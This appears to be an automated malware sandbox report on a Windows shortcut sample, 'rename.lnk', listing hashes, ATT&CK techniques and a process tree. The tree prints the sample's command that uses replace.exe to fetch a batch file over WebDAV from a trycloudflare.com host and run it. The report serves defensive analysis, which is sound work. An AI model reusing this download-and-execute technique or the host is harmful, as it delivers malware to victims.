cd36cf80f93696c4e3329a1dcad56858b7bc18f78c24f76dbae0b3fc173eba22

Analysis

max time kernel
141s
max time network
113s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
23/05/2024, 10:31

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General

Target
rename.lnk
Size 1KB
Sample240523-mkec7sdb91
SHA256 cd36cf80f93696c4e3329a1dcad56858b7bc18f78c24f76dbae0b3fc173eba22
MD5 bef0233a81c352ad4f5db5ca7e9e737f
SHA1 c056245ff9a77fe0cbd4f768c6f34e83ff99cb2e
SHA512 c883e578877038cf0bc159fdd65897ca2d9772d5352161b57ced441fa83211145edf867c408fffb38e3221a0f84241484e8b2be7306279ca96576d090f503718
MD5 SHA1 SHA512

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 412 wrote to memory of 4696	412	cmd.exe	84
PID 412 wrote to memory of 4696	412	cmd.exe	84
PID 4696 wrote to memory of 684	4696	cmd.exe	85
PID 4696 wrote to memory of 684	4696	cmd.exe	85

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\rename.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\replace.exe \\promote-diff-string-clerk.trycloudflare.com@SSL\DavWWWRoot\bas.bat C:\Users\Admin\Pictures /A & C:\Users\Admin\Pictures\bas.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4696
- - C:\Windows\System32\replace.exe
    C:\Windows\System32\replace.exe \\promote-diff-string-clerk.trycloudflare.com@SSL\DavWWWRoot\bas.bat C:\Users\Admin\Pictures /A
    3⤵
    PID:684

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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